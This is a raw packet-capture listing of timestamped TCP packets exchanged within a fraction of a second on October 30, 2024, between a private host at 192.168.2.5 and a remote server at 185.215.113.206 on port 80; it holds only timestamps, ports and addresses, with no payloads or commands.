Oct 30, 2024 18:06:46.609985113 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609992981 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610023022 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610034943 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610054970 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610065937 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610076904 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610090017 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610100031 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610105991 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610116959 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610124111 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610136032 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610146999 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610151052 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610158920 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610169888 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610176086 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610188961 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610196114 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610200882 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610212088 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610229015 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610248089 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610384941 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610397100 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610407114 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610421896 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610431910 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610435009 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610446930 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610450029 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610460043 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610483885 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610496044 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610532045 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610544920 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610555887 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610575914 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610577106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610584974 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610589981 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610603094 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610614061 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610615015 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610640049 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610661983 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610732079 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610743999 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610760927 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610780954 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610785961 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610793114 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610795021 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610805988 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610807896 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610819101 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610831022 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610835075 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610843897 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610855103 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610863924 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610889912 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.610951900 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610963106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610974073 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.610989094 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611017942 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611031055 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611042023 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611052036 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611063957 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611069918 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611092091 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611115932 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611181974 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611192942 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611202955 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611215115 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611231089 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611232042 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611243010 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611253977 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611264944 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611272097 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611272097 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611279011 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611299992 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611327887 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611476898 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611490011 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611500025 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611510992 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611524105 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611531973 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611536980 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611550093 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611556053 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611561060 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611573935 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611583948 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611586094 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611599922 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611599922 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611624956 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611628056 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611639977 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611645937 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611651897 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611685991 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611787081 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611798048 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611809015 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611819983 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611830950 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611833096 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611843109 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611855030 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611864090 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611871958 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611872911 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611884117 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611896038 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611898899 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611912966 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611915112 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.611934900 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.611984968 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.612015009 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.612025976 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.612036943 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.612047911 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.612060070 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.612061977 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.612081051 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.612087965 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.612092972 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.612103939 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.612108946 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.612121105 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.612128019 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.612133026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.612148046 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.612154007 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.612160921 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.612169027 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.612194061 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613069057 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613080025 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613090992 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613105059 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613116026 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613117933 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613131046 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613135099 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613149881 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613157034 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613158941 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613164902 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613168001 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613174915 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613187075 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613199949 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613217115 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613219023 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613234043 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613244057 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613259077 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613260031 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613271952 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613276958 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613286018 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613296032 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613297939 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613308907 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613321066 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613321066 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613332987 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613343954 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613348007 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613357067 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613363028 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613372087 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613383055 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613389969 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613393068 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613408089 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613415956 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613420010 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613430977 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613434076 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613445997 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613456964 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613462925 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613470078 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613477945 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613483906 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613492966 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613497019 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613507986 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613519907 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613521099 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613532066 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613543034 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613548040 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613555908 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613559008 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613568068 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613580942 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613589048 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613594055 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613615990 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613637924 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613892078 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613904953 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613917112 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613928080 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613945007 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613954067 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613959074 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613966942 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613974094 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613981009 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613986969 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.613987923 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.613989115 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614015102 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614038944 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614044905 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614057064 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614068985 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614080906 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614092112 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614098072 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614108086 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614119053 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614124060 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614130974 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614139080 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614156008 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614166021 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614167929 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614181042 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614185095 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614197969 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614202976 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614209890 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614223957 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614234924 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614236116 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614248037 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614259958 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614263058 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614273071 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614285946 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614285946 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614296913 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614303112 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614310980 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614324093 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614331007 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614336967 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614347935 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614355087 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614360094 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614371061 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614375114 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614384890 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614402056 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614415884 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614444017 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614465952 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614476919 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614487886 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614497900 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614500999 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614516020 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614532948 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614639997 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614650965 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614662886 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614676952 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614682913 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614682913 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614691019 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614703894 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614706993 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614716053 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614722013 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614733934 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614739895 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614743948 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614756107 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614767075 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614767075 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614785910 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614789009 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614811897 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614816904 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614824057 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614840984 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614840984 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614851952 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614854097 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614866972 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614872932 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614880085 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614885092 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614898920 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614909887 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614912033 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614923954 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614937067 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.614938021 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614959955 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.614974022 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615031958 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615044117 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615055084 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615067005 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615082026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615087032 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615106106 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615115881 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615139008 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615154028 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615168095 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615181923 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615195990 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615196943 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615210056 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615220070 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615221977 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615236044 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615245104 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615250111 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615263939 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615278006 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615408897 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615421057 CET	80	49812	185.215.113.206	192.168.2.5
